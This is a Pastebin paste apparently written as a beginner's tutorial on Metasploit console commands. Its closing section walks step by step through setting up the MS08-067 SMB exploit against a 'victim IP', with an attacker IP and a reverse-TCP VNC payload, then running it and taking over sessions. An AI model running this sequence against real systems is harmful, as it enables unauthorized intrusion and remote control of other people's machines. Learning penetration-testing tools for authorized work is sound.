Paceusa

Metasploit Basic Command

Jan 25th, 2022 (edited)
949
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. So on your terminal type msfconsole to start metasploit console.
  2.  
  3.  
  4. root@bt:~# msfconsole
  5. Metasploit is also available on GUI (graphical user interface), if you want to run metasploit GUI than on the terminal type.
  6.  
  7.  
  8. root@bt:~# msfgui
  9.  
  10.  
  11. Help command of metasploit will give you the basic idea about the usage of metasploit, if you are looking for msfconsole help than from the root windows type
  12.  
  13. root@bt:~# msfconsole -h
  14.  
  15.  
  16. For msfconsole usage you need to be on msfconsole window to get the help.
  17.  
  18. msf > help
  19.  
  20. Connect command is nothing but the alternate of telnet and ncat in metasploit, use connect command to connect with the remote and local host on metasploit you can define the IP of the host machine.
  21.  
  22.  
  23.  
  24. msf > connect -s www.metasploit.com 443
  25. [*] Connected to www.metasploit.com:443
  26. GET / HTTP/1.0
  27. -s → SSL
  28.  
  29.  
  30.  
  31. Ping command of msfconsole is to check the alive host and so on.
  32.  
  33. msf > ping 192.168.1.45
  34.  
  35. Show exploits is a command to check all the available exploits on metasploit
  36.  
  37. msf > show exploits
  38.  
  39. Show payloads just like show exploits, show payloads will show you all the available payloads on metasploit.
  40.  
  41. msf > show payloads
  42.  
  43.  
  44. Info command will give you more information about any exploits and payloads.
  45.  
  46. Msf>info <exploit>
  47. msf>info <payload>
  48.  
  49.  
  50. Use command will give metasploit an instruction to use a exploit or payload.
  51.  
  52. msf > use exploit/windows/smb/ms08_067_netapi
  53. msf exploit(ms08_067_netapi) >
  54.  
  55. msf exploit(ms08_067_netapi) > show options To show available options
  56. msf exploit(ms08_067_netapi) > set rhost 119.67.45.2 → To set remote IP (victim IP)
  57. msf exploit(ms08_067_netapi) > set lhost 192.168.1.45 → To set local IP (attacker IP)
  58. msf exploit(ms08_067_netapi) > set rport 445 → To set port number of remote host
  59. msf exploit(ms08_067_netapi) > set lport 443 → To set port number of local host
  60. msf exploit(ms08_067_netapi) > set payload windows/vncinject/reverse_tcp_dns → Tp set payload
  61.  
  62. msf exploit(ms08_067_netapi) > unset rhost → To remove rhost
  63. msf exploit(ms08_067_netapi) > unset lhost → To remove local host
  64. msf exploit(ms08_067_netapi) > exploit → To execute exploit
  65. msf exploit(ms08_067_netapi) > back → To go back on the main window
  66. msf exploit(ms08_067_netapi) > sessions -l → To check any active session
  67. msf exploit(ms08_067_netapi) > sessions -i ID → To go on a active session ID must be numeric number
RAW Paste Data Copied